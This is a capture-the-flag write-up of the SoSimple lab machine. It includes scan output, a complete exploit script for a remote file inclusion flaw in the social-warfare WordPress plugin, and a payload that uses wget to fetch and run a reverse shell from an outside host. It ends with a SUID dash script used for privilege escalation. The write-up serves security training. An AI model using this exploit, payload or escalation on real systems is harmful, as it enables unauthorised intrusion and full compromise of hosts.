Proving grounds Play - SoSimple CTF writeup.
Walkthrough on Youtube
NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 5b5543efafd03d0e63207af4ac416a45 (RSA)
| 256 53f5231be9aa8f41e218c6055007d8d4 (ECDSA)
|_ 256 55b77b7e0bf54d1bdfc35da1d768a96b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: So Simple
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Fuzzing for directories and Files
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.158.78/FUZZ/
Total requests: 62284
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000327: 200 147 L 646 W 13420 Ch "wordpress"
000000386: 403 9 L 28 W 279 Ch "icons"
000004227: 403 9 L 28 W 279 Ch "server-status"
000004255: 200 77 L 39 W 495 Ch "http://192.168.158.78//"
000010756: 404 9 L 31 W 276 Ch "secure_html"
WPScan
+] social-warfare
| Location: http://192.168.158.78/wordpress/wp-content/plugins/social-warfare/
| Last Updated: 2023-02-15T16:23:00.000Z
| [!] The version is out of date, the latest version is 4.4.1
Searchsploit
Exploit
import sys
import requests
import re
import urlparse
import optparse
class EXPLOIT:
VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"
def __init__(self, _t, _p):
self.target = _t
self.payload = _p
def engage(self):
uri = urlparse.urljoin( self.target, self.VULNPATH % self.payload )
r = requests.get( uri )
if r.status_code == 500:
print "[*] Received Response From Server!"
rr = r.text
obj = re.search(r"^(.*)<\!DOCTYPE", r.text.replace( "\n", "lnbreak" ))
if obj:
resp = obj.groups()[0]
if resp:
print "[<] Received: "
print resp.replace( "lnbreak", "\n" )
else:
sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
else:
sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
else:
sys.exit( "[~] Unexpected Status Received!" )
def main():
parser = optparse.OptionParser( )
parser.add_option( '-t', '--target', dest="target", default="", type="string", help="Target Link" )
parser.add_option( '' , '--payload-uri', dest="payload", default="", type="string", help="URI where the file payload.txt is located." )
(options, args) = parser.parse_args()
print "[>] Sending Payload to System!"
exploit = EXPLOIT( options.target, options.payload )
exploit.engage()
if __name__ == "__main__":
main()
Vulnerable PATH
VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"
Remote File Inclusion
Remote payload file
<pre>
system("wget http://192.168.45.217:8000/shell -O /var/tmp/shell; chmod 755 /var/tmp/shell; chmod +x /var/tmp/shell; /var/tmp/shell");
</pre>
Reverse shell payload using msfvenom
RFI Exploitation
Reverse shell connection obtained.
Privilege Escalation
User max ssh id_rsa file has been found.
SSH login to max
Listing max user permission, finding exploit for the service using GTFO bins and switch user to steven
Listing steven user permisssions
Create bash script using the location mentioned in the permissions.
#!/bin/bash
cp /bin/dash /var/tmp/dash; chmod u+s /var/tmp/dash
chmod u+s Allows the binary to be executed as owner + SUID permissions.
Running script as root user
Run dash
dash -p preserves effective privilege with which it was created and executed with same privilege.
Root obtained.
Thanks for reading!
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